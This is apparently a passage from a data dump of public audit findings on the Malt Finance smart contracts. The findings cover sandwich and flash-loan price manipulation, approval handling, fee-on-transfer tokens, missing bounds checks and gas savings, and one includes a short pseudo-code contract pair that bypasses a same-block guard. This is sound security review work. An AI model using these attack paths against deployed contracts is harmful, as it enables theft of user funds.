Vulnerability details ## Impact The `permit` function is intended to facilitate approvals though signature verification. This helps to merge the two-step token transfer process consisting of an initial token approval and subsequent transfer. The `permit` function emits an `Approval` event, however, the `_approve` function also emits the same `Approval` event. As a result, off-chain scripts monitoring the blockchain for such events will see the same event emitted twice which may cause unintended issues. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/ERC20Permit.sol#L58-L59 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L314 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider not emitting an `Approval` event in `permit`. "}, {"title": "`_distributeRewards` Does Not Reset Approval If Not All Tokens Were Allocated", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/229", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `_distributeRewards` attempts to reward LP token holders when the price of Malt exceeds its price target. Malt Finance is able to being Malt back to its peg by selling Malt and distributing rewards tokens to LP token holders. An external call to `Auction` is made via the `allocateArbRewards` function. Prior to this call, the `StabilizerNode` approves the contract for a fixed amount of tokens, however, the `allocateArbRewards` function does not necessarily utilise this entire amount. Hence, dust token approval amounts may accrue from within the `StabilizerNode` contract. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L252-L253 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L809-L871 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider resetting the approval amount if the input `rewarded` amount to `allocateArbRewards` is less than the output amount. "}, {"title": "`addLiquidity` Does Not Reset Approval If Not All Tokens Were Added To Liquidity Pool", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/228", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `addLiquidity` is called when users reinvest their tokens through bonding events. The `RewardReinvestor` first transfers Malt and rewards tokens before adding liquidity to the token pool. `addLiquidity` provides protections against slippage by a margin of 5%, and any dust token amounts are transferred back to the caller. In this instance, the caller is the `RewardReinvestor` contract which further distributes the dust token amounts to the protocol's treasury. However, the token approval for this outcome is not handled properly. Dust approval amounts can accrue over time, leading to large Uniswap approval amounts by the `UniswapHandler` contract. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L212-L214 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L216-L218 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider resetting the approval amount if either `maltUsed < maltBalance` or `rewardUsed < rewardBalance` in `addLiquidity`. "}, {"title": "Auction collateralToken won't work if token is fee-on-transfer token ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/227", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact There are several ERC20 tokens that take a small fee on transfers/transferFroms (known as \"fee-on-transfer\" tokens). Most notably, USDT is an ERC20 token that has togglable transfer fees, but for now the fee is set to 0 (see the contract here: https://etherscan.io/address/0xdAC17F958D2ee523a2206206994597C13D831ec7#code). For these tokens, it should not be assumed that if you transfer `x` tokens to an address, that the address actually receives `x` tokens. In the current test environment, DAI is the only `collateralToken` available, so there are no issues. However, it has been noted that more pools will be added in the future, so special care will need to be taken if fee-on-transfer tokens (like USDT) are planned to be used as `collateralTokens`. For example, consider the function `purchaseArbitrageTokens` in Auction.sol. This function transfers `realCommitment` amount of `collateralToken` to the liquidityExtension, and then calls `purchaseAndBurn(realCommitment)` on the liquidityExtension. The very first line of `purchaseAndBurn(amount)` is `require(collateralToken.balanceOf(address(this)) >= amount, \"Insufficient balance\");`. In the case of fee-on-transfer tokens, this line will revert due to the small fee taken. This means that all calls to `purchaseArbitrageTokens` will fail, which would be very bad when the price goes below peg, since no one would be able to participate in this auction. ## Proof of Concept See `purchaseArbitrageTokens` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L177 See `purchaseAndBurn` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/LiquidityExtension.sol#L117 ## Tools Used Inspection ## Recommended Mitigation Steps Add logic to transfers/transferFroms to calculate exactly how many tokens were actually sent to a specific address. In the example given with `purchaseArbitrageTokens`, instead of calling `purchaseAndBurn` with `realCommitment`, the contract should use the difference in the liquidityExtension balance after the transfer minus the liquidityExtension balance before the transfer. "}, {"title": "Frontrunning in UniswapHandler calls to UniswapV2Router", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/219", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle thank_you # Vulnerability details ## Impact UniswapHandler utilizes UniswapV2Router to swap, add liquidity, and remove liquidity with the UniswapV2Pair contract. In order to utilize these functionalities, UniswapHandler must call various UniswapV2Router methods. - addLiquidity - removeLiquidity - swapExactTokensForTokens (swaps for both DAI and Malt) In all three methods, UniswapV2Router requires the callee to provide input arguments that define how much the amount out minimum UniswapHandler will allow for a trade. This argument is designed to prevent slippage and more importantly, sandwich attacks. UniswapHandler correctly handles price slippage when calling [addLiquidity](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L201). However, that is not the case for [removeLiquidity](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L230) and swapExactTokensForTokens [here](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L148) and [here](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L173). For both methods, 0 is passed in as the amount out minimum allowed for a trade. This allows for anyone watching the mempool to sandwich attack UniswapHandler (or any contract that calls UniswapHandler) in such a way that allows the hacker to profit off of a guaranteed trade. How does this work? Let's assume UniswapHandler makes a call to [UniswapV2Router#swapExactTokensForTokens](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L148) to trade DAI for Malt. Any hacker who watches the mempool and sees this transaction can immediately buy as much Malt as they want. This raises the price of Malt. Since UniswapHandler is willing to accept any amount out minimum (the number is set to [zero](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L150)), then the UniswapHandler will always trade DAI for Malt. This second transaction raises the price of Malt even further. Finally, the hacker trades their Malt for DAI, receiving a profit due to the artificially inflated price of Malt from the sandwich attack. It's important to note that anyone has access to the UniswapV2Router contract. There are no known ACL controls on UniswapV2Router. This sandwich attack can impact even the `buyMalt` function. The following functions when called are vulnerable to frontrunning attacks: - [UniswapHandler#buyMalt](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L131) - [UniswapHandler#sellMalt](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L160) - [UniswapHandler#removeLiquidity](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L221) And by extension the following contract functions since they also call the UniswapHandler function calls: - [Bonding#unbondAndBreak](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Bonding.sol#L114) - [LiquidityExtension#purchaseAndBurn](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/LiquidityExtension.sol#L117) - [RewardReinvestor#splitReinvest](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/RewardReinvestor.sol#L78) - [StabilizerNode#stabilize](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L145) - [SwingTrader#buyMalt](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/SwingTrader.sol#L50) ## Proof of Concept Refer to the impact section for affected code and links to the appropriate LoC. ## Tools Used N/A ## Recommended Mitigation Steps The UniswapV2Router and UniswapV2Pair contract should allow only the UniswapHandler contract to call either contract. In addition, price slippage checks should be implemented whenever removing liquidity or swapping tokens. This ensures that a frontrunning attack can't occur. ## Anything Else We Should Know I wish I had more time to work on this bug but unfortunately I have several current clients who require significant time from me. I'm happy to pursue this beyond the initial submission, in particular building a concrete PoC. I think the most important takeaway from this bug find is that anyone can purchase Malt at any time and anyone can manipulate the Malt reserve. This in turn impacts other functionalities that rely on the Malt reserve to make price/token calculations such as exiting an auction early or reinvesting rewards. "}, {"title": "Missing zero address check which will put forfeited rewards at risk(ForefeitHandler.sol) ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/216", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle 0xwags # Vulnerability details ## Impact Since users forfeited awards will be shared between either the treasury and the swing trader, there should be a zero address in the initialize() function to ensure rewards are not lost and thereby affecting Malt's collateralisation and other such funding mechanism. This will have implications for safetransfer() functions in lines 50 & 54 in handleForfeit(). ## Tools Used Manual Analysis. ## Recommended Mitigation Steps require(treasuryMultisig&& swingTrader ! =address(0), \"0x0\"); "}, {"title": "`_calculateMaltRequiredForExit` Uses Spot Price To Calculate Malt Quantity In `exitEarly`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/215", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `_calculateMaltRequiredForExit` in `AuctionEscapeHatch` currently uses Malt's spot price to calculate the quantity to return to the exiting user. This spot price simply tracks the Uniswap pool's reserves which can easily be manipulated via a flash loan attack to extract funds from the protocol. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionEscapeHatch.sol#L65-L92 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionEscapeHatch.sol#L193 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L80-L109 https://shouldiusespotpriceasmyoracle.com/ ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider implementing/integrating a TWAP oracle to track the price of Malt. "}, {"title": "Timelock reuse function argument as argument for the event emit", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/214", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Reuse the function argument in the event emit instead of the storage variable. This saves a SLOAD. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Timelock.sol#L66 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Timelock.sol#L82 ## Tools Used ## Recommended Mitigation Steps - L76 write: emit NewDelay(_delay); - L92: write: emit NewGracePeriod(_gracePeriod); "}, {"title": "MovingAverage:getValueWithLookback move sampleDiff to save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/212", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Move the initialization of sampleDiff below the if block to save gas in the case of return of the if block. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L128 ## Tools Used "}, {"title": "MovingAverage:getValue move the declaration/initialization of sampleDiff to save gas in the case of an early return", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact move the sampleDiff (L86) below the if statement L88 to save the declaration/initialization of sampleDiff in the case the if block gets executed and the function returns early ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L86 ## Tools Used ## Recommended Mitigation Steps - move the declaration/initialization of of sampleDiff below the if statement "}, {"title": "MovingAverage:initialize reuse argument variable instead storage variable in the loop condition", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/209", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Reuse _sampleMemory instead of the storage variable sampleMemory in the condition statement of the loop to save gas. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L60 ## Tools Used ## Recommended Mitigation Steps - rewrite L60 as: for (uint i = 0; i < _sampleMemory ; i++) "}, {"title": "Reduce external calls", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/208", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L167 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L219 Before call _distributeSupply function, it already get priceTarget, But in _distributeSupply, it again call external call to get price target. This will use higher gas. ## Tools Used Manual ## Recommended Mitigation Steps Send price target in _distributeSupply() function argument, and please review all duplicated external calls and optimize them. "}, {"title": "decimals return of costBasis is not used.", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/205", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "decimals return of costBasis is not used."}, {"title": "deployedCapital variable is internal", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/200", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "deployedCapital variable is internal"}, {"title": "In TransactionService, store index of source to avoid loop when removing verifier", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact In removeVerifier function, it loop until last index - 1 to find source index. If you added many verifiers, then the gas cost of removeVerifier will be very high, and it can be reverted due to gas limit as well. ## Tools Used Manual ## Recommended Mitigation Steps Store index of address in addVerifier function, and remove loop in removeVerifier, and use stored index. "}, {"title": "Revert transaction if it is unable to change data", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/198", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/TransferService.sol#L62 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/TransferService.sol#L78 In addVerifier and removeVerifier functions of TransferService.sol, it just returns instead of revert if it is unable to change data. Revert transaction to avoid creating unnecessary transaction and save transaction cost. ## Tools Used Manual ## Recommended Mitigation Steps Revert transaction instead of return. "}, {"title": "_notSameBlock() can be circumvented in bondToAccount() ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/195", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function bondToAccount() of Bonding.sol has a check based on _notSameBlock() _notSameBlock() makes sure the same msg.sender cannot do 2 actions within the same block. However this can be circumvented in this case: Suppose you call bondToAccount() via a (custom) smart contract, then the msg.sender will be the address of the smart contract. For a pseudo code proof of concept see below. I'm not sure what the deeper reason is for the _notSameBlock() in bondToAccount(). But if it is important then circumventing this check it will pose a risk. ## Proof of Concept call function attack1.attack() ```JS contract attack1 { function attack(address account, uint256 amount) { call attack2.forward(account, amount); call any other function of malt } } contract attack2 { function forward(address account, uint256 amount) { call bonding.bondToAccount(account, amount); // uses msg.sender of attack2 } } ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Bonding.sol#L81-L92 ```JS function bondToAccount(address account, uint256 amount) public { if (msg.sender != offering) { _notSameBlock(); } ... ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Permissions.sol#L135-L141 ```JS function _notSameBlock() internal { require( block.number > lastBlock[_msgSender()],\"Can't carry out actions in the same block\" ); lastBlock[_msgSender()] = block.number; } ``` ## Tools Used ## Recommended Mitigation Steps Add access controls to the function bondToAccount() An end-user could still call bond() "}, {"title": "Adapt count in setAuctionAverageLookback?", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/194", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setAuctionAverageLookback of AuctionBurnReserveSkew.sol change auctionAverageLookback However there is also the variable \"count\" that is used in amongst others, addAbovePegObservation(). The modulo of count with auctionAverageLookback is calculated via _getIndexOfObservation(). When you change auctionAverageLookback then the modulo will result in a different value, so you end up in a different location of the circular buffer. You should probably adapt count as well in the function setAuctionAverageLookback() (see also function setSampleMemory of MovingAverage.sol where a similar pattern is used) ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionBurnReserveSkew.sol#L186-L200 ```JS function setAuctionAverageLookback(uint256 _lookback) external onlyRole(ADMIN_ROLE, \"Must have admin role\") { .. if (_lookback > auctionAverageLookback) { for (uint i = auctionAverageLookback; i < _lookback; i++) { pegObservations.push(0); } } auctionAverageLookback = _lookback; ... ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionBurnReserveSkew.sol#L143-L153 ```JS function addAbovePegObservation(uint256 amount) public onlyRole(STABILIZER_NODE_ROLE, \"Must be a stabilizer node to call this method\") { uint256 index = _getIndexOfObservation(count); ... pegObservations[index] = 1; count = count + 1; ... ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/AuctionBurnReserveSkew.sol#L134-L136 ```JS function _getIndexOfObservation(uint _index) internal view returns (uint index) { return _index % auctionAverageLookback; } ``` ## Tools Used ## Recommended Mitigation Steps Doublecheck the theory above and if you agree: Add the following statement in the function setAuctionAverageLookback(), before auctionAverageLookback is updated. ```JS count = count % auctionAverageLookback ; // the old version of auctionAverageLookback ``` "}, {"title": "setSampleMemory counter set to right value?", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/193", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setSampleMemory of MovingAverage.sol takes the modulo of counter with the new value of _sampleMemory: \"counter = counter % _sampleMemory;\" Suppose: counter =15 ; sampleMemory=10 and _sampleMemory=12 Then: counter = counter % _sampleMemory ==> 3, which means processing will continue at position 3. However I think it should use: counter = counter % sampleMemory, so it will continue at position 5 ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/MovingAverage.sol#L424-L442 ```JS function setSampleMemory(uint256 _sampleMemory) external onlyRole(ADMIN_ROLE, \"Must have admin privs\") { ... if (_sampleMemory > sampleMemory) { ... counter = counter % _sampleMemory; } else { } sampleMemory = _sampleMemory; } ``` ## Tools Used ## Recommended Mitigation Steps Doublecheck the theory above and if you agree: change ```JS counter = counter % _sampleMemory; ``` to ```JS counter = counter % sampleMemory; ``` "}, {"title": "Max value of upperStabilityThreshold and lowerStabilityThreshold not checked", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/192", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setStabilityThresholds of StabilizerNode.sol set the values for upperStabilityThreshold and lowerStabilityThreshold, however there is no check for a maximum value. This means that in function _shouldAdjustSupply() the values for upperThreshold and lowerThreshold could get larger than priceTarget. When they are subtracted from priceTarget a revert will occur. Thus it is useful the make sure that upperStabilityThreshold and lowerStabilityThreshold don't get too large. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/StabilizerNode.sol#L445-L454 ```JS function setStabilityThresholds(uint256 _upper, uint256 _lower) external onlyRole(ADMIN_ROLE, \"Must have admin role\") { require(_upper > 0 && _lower > 0, \"Must be above 0\"); upperStabilityThreshold = _upper; lowerStabilityThreshold = _lower; ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/StabilizerNode.sol#L198-L206 ```JS function _shouldAdjustSupply(uint256 exchangeRate) internal view returns (bool) { ... uint256 upperThreshold = priceTarget.mul(upperStabilityThreshold).div(10**decimals); // upperStabilityThreshold could be > 10**dec => upperThreshold could be > priceTarget uint256 lowerThreshold = priceTarget.mul(lowerStabilityThreshold).div(10**decimals); // lowerStabilityThreshold could be > 10**dec => lowerThreshold could be > priceTarget return (exchangeRate <= priceTarget.sub(lowerThreshold) && !auction.auctionActive(auction.currentAuctionId())) || exchangeRate >= priceTarget.add(upperThreshold); // can revert } ``` ## Tools Used ## Recommended Mitigation Steps In function setStabilityThresholds() check for a maximum value of upperStabilityThreshold and lowerStabilityThreshold "}, {"title": "`StabilizerNode` Will Mint An Incentive For Triggering An Auction Even If An Auction Exists Already", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/191", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `_startAuction` utilises the `SwingTrader` contract to purchase Malt. If `SwingTrader` has insufficient capital to return the price of Malt back to its target price, an auction is triggered with the remaining amount. However, no auction is triggered if the current auction exists, but `msg.sender` is still rewarded for their call to `stabilize`. ## Proof of Concept `_shouldAdjustSupply` initially checks if the current auction is active, however, it does not check if the current auction exists. There is a key distinction between the `auctionActive` and `auctionExists` functions which are not used consistently. Hence, an auction which is inactive but exists would satisfy the edge case and result in `triggerAuction` simply returning. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L382-L386 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L268-L272 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L342-L344 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L873-L888 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider using `auctionExists` and `auctionActive` consistently in `StabilizerNode` and `Auction` to ensure this edge case cannot be abused. "}, {"title": "No max for advanceIncentive", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/190", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setAdvanceIncentive of DAO.sol doesn't check for a maximum value of incentive. If incentivewould be very large, then advanceIncentive would be very large and the function advance() would mint a large amount of malt. The function setAdvanceIncentive() can only be called by an admin, but a mistake could be made. Also if an admin would want to do a rug pull, this would be an ideal place to do it. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DAO.sol#L98-L104 ```JS function setAdvanceIncentive(uint256 incentive) externalonlyRole(ADMIN_ROLE, \"Must have admin role\") { ... advanceIncentive = incentive; ``` https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DAO.sol#L55-L63 ```JS function advance() external { ... malt.mint(msg.sender, advanceIncentive * 1e18); ``` ## Tools Used ## Recommended Mitigation Steps Check for a reasonable maximum value in advance() "}, {"title": "Users Can Contribute To An Auction Without Directly Committing Collateral Tokens", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/188", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `purchaseArbitrageTokens` enables users to commit collateral tokens and in return receive arbitrage tokens which are redeemable in the future for Malt tokens. Each auction specifies a commitment cap which when reached, prevents users from participating in the auction. However, `realCommitment` can be ignored by directly sending the `LiquidityExtension` contract collateral tokens and subsequently calling `purchaseArbitrageTokens`. ## Proof of Concept Consider the following scenario: - An auction is currently active. - A user sends collateral tokens to the `LiquidityExtension` contract. - The same user calls `purchaseArbitrageTokens` with amount `0`. - The `purchaseAndBurn` call returns a positive `purchased` amount which is subsequently used in auction calculations. As a result, a user could effectively influence the average malt price used throughout the `Auction` contract. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L177-L214 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/LiquidityExtension.sol#L117-L128 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider adding a check to ensure that `realCommitment != 0` in `purchaseArbitrageTokens`. "}, {"title": "governor or timelock", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/187", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the contract Timelock.sol the following onlyRole expression occurs a few times, referring GOVERNER and timelock: onlyRole(GOVERNOR_ROLE, \"Must have timelock role\") Whereas several other onlyRole expressions are referring to governor: onlyRole(GOVERNOR_ROLE, \"Timelock::...: Call must come from governor.\") Either the role should be TIMELOCK_ROLE or the messages should refer consistently to governor. Otherwise it might be more difficult to solve error messages from reverts. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Timelock.sol#L68 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Timelock.sol#L84 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Timelock.sol#L100 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Timelock.sol#L115 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Timelock.sol#L140 https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/Timelock.sol#L159 ## Tools Used ## Recommended Mitigation Steps Make the error messages consistent "}, {"title": "Outdated Solidity Version Provides No Protections Against Arithmetic Underflows And Overflows", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/185", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact Malt Finance uses solidity version `>=0.6.6` throughout all of its contracts. This solidity version provides no protections against arithmetic underflows and overflows. As a result, it is incredibly difficult to guarantee that the protocol enforces the necessary arithmetic checks during sensitive actions. There are several instances where the OpenZeppelin's `SafeMath` library is not used. This exposes the protocol to potential exploits via arithmetic underflows and overflows. The liveness of the protocol depends on safety guarantees that are not provided/enforced. Therefore, this issue should be deemed high severity. ## Proof of Concept Solidity version shown in all contracts. ## Tools Used Manual code review. https://docs.soliditylang.org/en/v0.8.10/080-breaking-changes.html ## Recommended Mitigation Steps Consider updating the smart contract suite to use the latest solidity version or at the very least integrate OpenZeppelin's `SafeMath` library in all areas of the code containing arithmetic operations. "}, {"title": "`setupParticipant` function should be internal", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/183", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact No vulnerability, however as `setupPartipant` would only ever be executed by the constructor in its deriving contracts, it would make sense if it was internal instead of public. If it was not executed in the constructor of the deriving contract, then at least it is safer with internal visibility. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionParticipant.sol#L30 "}, {"title": "Similar code in `getCollateralValueInMalt` and `totalUsefulCollateral` functions ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact The code in `getCollateralValueInMalt` of ImpliedCollateralService.sol, can leverage the `totalUsefulCollateral` function, reducing code size and gas cost when calling the contract. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/ImpliedCollateralService.sol#L104-L124 ## Tools Used manual ## Recommended Mitigation Steps Remove L108-L110, then in the return of `getCollateralValueInMalt` return `totalUsefulCollateral().mul(target).div(maltPrice) + swingTraderMaltBalance` "}, {"title": "Duplicated code in `unbond` and `unbondAndBreak` functions", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact A large portion of the `unbond` and `unbondAndBreak` code of Bonding.sol is the same, to reduce code bloat and gas when calling the contract ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Bonding.sol#L97-L109 ## Tools Used Manual ## Recommended Mitigation Steps I would suggest wrapping the duplicated code into an internal function called by `unbond` and `unbondAndBreak`. "}, {"title": "Malt decimals inconsistency: StabilizerNode and DAO contracts use 18 as hard coded Malt decimals", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/175", "labels": ["bug", "1 (Low Risk)", "sponsor 